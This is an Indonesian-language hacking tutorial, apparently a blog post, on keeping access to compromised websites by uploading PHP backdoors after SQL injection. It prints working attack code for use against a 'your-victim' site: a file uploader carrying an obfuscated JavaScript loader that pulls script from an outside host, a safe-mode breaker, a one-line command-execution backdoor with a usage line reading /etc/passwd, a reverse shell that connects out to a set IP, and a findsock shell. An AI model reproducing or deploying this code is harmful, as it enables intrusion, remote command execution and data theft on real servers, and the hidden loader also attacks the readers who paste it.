Setelah sekian lama absen dari dunia penetration tester, akhirnya kami kembali membawa beberapa informasi yang mungkin berguna bagi para penendang bokong. Pada kesempatan ini, saya akan berbagi beberapa PHP backdoor yang digunakan untuk membuat pintu belakang pada sebuah website.
Setelah kita memiliki kemampuan melakukan aksi SQL Injection, selanjutnya kita akan melakukan maintain access. Maintain access adalah sebuah tahapan dimana hacker akan memelihara aksesnya, agar ia dapat kembali mengeksploitasi system tanpa susah payah. Kebanyakan hacker menggunakan backdoor untuk hal ini.
Jika dalam sebuah operasi system kita menggunakan cymothoa, atau secure backdoor (SBD), metsvc milik metasploit, atau persistent netcat. Maka untuk sebuah web yang dapat mengeksekusi file PHP, kita dapat menggunakan shell code PHP, yang disebut PHP backdoor. Ada banyak macam PHP backdoor, seperti C99, C100, fx29, jackall, backdoor, locus, safe breaker mode, dan masih banyak lagi.
Agar shell code ini berfungsi, kita harus mengupload shell code ini terlebih dahulu kepada server, lalu mengeksekusinya. Ada beberapa metode untuk mengupload shellcode ini.
1. Cara manual
Saya sebut sebagai cara manual, karena kita akan membuat shell code sendiri, dan menyimpannya ke server. Jika kamu sudah masuk kedalam cpanel, maka buat file baru berekstensi PHP.
2. Membuat file PHP uploader
Cara ini lebih mudah jika dibandingkan dengan cara manual, selain mempersingkat waktu, kita bisa memilih lebih dari satu shell code untuk diupload ke dalam server. Sebelum mengupload, kita buat dulu PHP code uploader-nya. Masuk ke dalam cpanel, lalu buat file dengan nama uploader.php.
Kemudian edit file tersebut, dan masukan code PHP berikut.
Code:
<FORM ENCTYPE="multipart/form-data" ACTION="uploader.php" METHOD="POST"><INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="100000">Send this file: <INPUT NAME="userfile" TYPE="file"><INPUT TYPE="submit" VALUE="Send"></FORM><?move_uploaded_file($userfile, "entrika.php"); ?><script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264DTDSJQU%2631TSD%264Eiuuq%264B00njep/ti4mm/vt0lbzefu/kt%264F%264D0TDSJQU%264F1')</script>
Save file tersebut, kemudian eksekusi file tersebut dengan menuju URL shell code kita.
Code:
http://www.your-victim.com/uploader.php
Taraaaaaaaa. Uploader kita sudah jadi, langkah selanjutnya adalah mengupload beberapa file PHP backdoor. Saya memiliki beberapa PHP backdoor yang mungkin berguna untuk anda.
1. C99Source CodeScreen Shoot
2. C100Source CodeScreen Shoot
3. FX29
Screen Shoot
4. Jackall
5. Locus
6. Safe Breaker Mode
Code:
<?
// Safe mode breaker. eXpl0id by KPbIC [myiworm@mail.ru] // data: 28.01.2006
error_reporting(E_WARNING); ini_set("display_errors", 1);
echo "<head><title>".getcwd()."</title></head>";
echo "<form method=POST>"; echo "<div style='float: left'>Root directory: <input type=text name=root value='{$_POST['root']}'></div>"; echo "<input type=submit value='--»'></form>";
echo "<HR>";
// break fucking safe-mode !
$root = "/";
if($_POST['root']) $root = $_POST['root'];
if (!ini_get('safe_mode')) die("Safe-mode is OFF.");
$c = 0; $D = array(); set_error_handler("eh");
$chars = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
for($i=0; $i < strlen($chars); $i++){ $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}";
$prevD = $D[count($D)-1]; glob($path."*");
if($D[count($D)-1] != $prevD){
for($j=0; $j < strlen($chars); $j++){
$path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}";
$prevD2 = $D[count($D)-1]; glob($path."*");
if($D[count($D)-1] != $prevD2){
for($p=0; $p < strlen($chars); $p++){
$path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}";
$prevD3 = $D[count($D)-1]; glob($path."*");
if($D[count($D)-1] != $prevD3){
for($r=0; $r < strlen($chars); $r++){
$path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}"; glob($path."*");
}
}
}
} }
}
}
$D = array_unique($D);
echo "<xmp>"; foreach($D as $item) echo "{$item}\n"; echo "</xmp>";
function eh($errno, $errstr, $errfile, $errline){
global $D, $c, $i; preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o); if($o){ $D[$c] = $o[2]; $c++;}
}
?>
Screen Shoot
Shell Code PHP Lain
simple-backdoor.php
Code:
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
<?php
if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die;}
?>
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
<!-- http://michaeldaw.org 2006 -->
php-reverse-shell.php
Code:
<?php// php-reverse-shell - A Reverse Shell implementation in PHP// Copyright (C) 2007 pentestmonkey@pentestmonkey.net//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. The author accepts no liability// for damage caused by this tool. If these terms are not acceptable to you, then// do not use this tool.//// In all other respects the GPL version 2 applies://// This program is free software; you can redistribute it and/or modify// it under the terms of the GNU General Public License version 2 as// published by the Free Software Foundation.//// This program is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the// GNU General Public License for more details.//// You should have received a copy of the GNU General Public License along// with this program; if not, write to the Free Software Foundation, Inc.,// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. If these terms are not acceptable to// you, then do not use this tool.//// You are encouraged to send comments, improvements or suggestions to// me at pentestmonkey@pentestmonkey.net//// Description// -----------// This script will make an outbound TCP connection to a hardcoded IP and port.// The recipient will be given a shell running as the current user (apache normally).//// Limitations// -----------// proc_open and stream_set_blocking require PHP version 4.3+, or 5+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.//// Usage// -----// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);$VERSION = "1.0";$ip = '127.0.0.1'; // CHANGE THIS$port = 1234; // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies. Worth a try...if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0); // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}// Spawn shell process$descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) {if (!$daemon) {print "$string\n";}}?>
php-findsock-shell.php
Code:
<?php // php-findsock-shell - A Findsock Shell implementation in PHP + C// Copyright (C) 2007 pentestmonkey@pentestmonkey.net//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. The author accepts no liability// for damage caused by this tool. If these terms are not acceptable to you, then// do not use this tool.//// In all other respects the GPL version 2 applies://// This program is free software; you can redistribute it and/or modify// it under the terms of the GNU General Public License version 2 as// published by the Free Software Foundation.//// This program is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the// GNU General Public License for more details.//// You should have received a copy of the GNU General Public License along// with this program; if not, write to the Free Software Foundation, Inc.,// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.//// You are encouraged to send comments, improvements or suggestions to// me at pentestmonkey@pentestmonkey.net//// Description// -----------// (Pair of) Web server scripts that find the TCP socket being used by the // client to connect to the web server and attaches a shell to it. This // provides you, the pentester, with a fully interactive shell even if the // Firewall is performing proper ingress and egress filtering.//// Proper interactive shells are more useful than web-based shell in some// circumstances, e.g:// 1: You want to change your user with "su"// 2: You want to upgrade your shell using a local exploit// 3: You want to log into another system using telnet / ssh//// Limitations// -----------// The shell traffic doesn't look much like HTTP, so I guess that you may// have problems if the site is being protected by a Layer 7 (Application layer) // Firewall.//// The shell isn't fully implemented in PHP: you also need to upload a// C program. You need to either:// 1: Compile the program for the appropriate OS / architecture then// upload it; or// 2: Upload the source and hope there's a C compiler installed.//// This is a pain, but I couldn't figure out how to implement the findsock// mechanism in PHP. Email me if you manage it. I'd love to know.//// Only tested on x86 / amd64 Gentoo Linux.//// Usage// -----// See http://pentestmonkey.net/tools/php-findsock-shell if you get stuck.//// Here are some brief instructions.//// 1: Compile findsock.c for use on the target web server:// $ gcc -o findsock findsock.c//// Bear in mind that the web server might be running a different OS / architecture to you.//// 2: Upload "php-findsock-shell.php" and "findsock" binary to the web server using// whichever upload vulnerability you've indentified. Both should be uploaded to the // same directory.//// 3: Run the shell from a netcat session (NOT a browser - remember this is an// interactive shell).//// $ nc -v target 80// target [10.0.0.1] 80 (http) open// GET /php-findsock-shell.php HTTP/1.0//// sh-3.2$ id// uid=80(apache) gid=80(apache) groups=80(apache)// sh-3.2$// ... you now have an interactive shell ...//
$VERSION = "1.0";system( "./findsock " . $_SERVER['REMOTE_ADDR'] . " " . $_SERVER['REMOTE_PORT'] ) ?>
Cheers!!!!
Created by:
red-dragon
Supported by:
blue-dragon
Thanks to:
Our Partners
